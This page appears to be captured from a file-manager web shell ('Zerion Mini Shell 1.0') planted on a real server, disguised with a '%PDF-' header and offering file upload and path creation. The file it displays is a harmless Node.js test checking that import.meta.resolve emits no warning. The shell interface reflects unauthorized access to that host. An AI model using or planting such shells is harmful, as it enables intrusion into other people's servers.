%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/test/es-module/
Upload File :
Create Path :
Current File : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/test/es-module/test-esm-nowarn-exports.mjs

import { spawnPromisified } from '../common/index.mjs';
import { path } from '../common/fixtures.mjs';
import { strictEqual } from 'node:assert';
import { execPath } from 'node:process';
import { describe, it } from 'node:test';


describe('ESM: experiemental warning for import.meta.resolve', { concurrency: true }, () => {
  it('should not warn when caught', async () => {
    const { code, signal, stderr } = await spawnPromisified(execPath, [
      '--experimental-import-meta-resolve',
      path('es-modules/import-resolve-exports.mjs'),
    ]);

    strictEqual(stderr, '');
    strictEqual(code, 0);
    strictEqual(signal, null);
  });
});

Zerion Mini Shell 1.0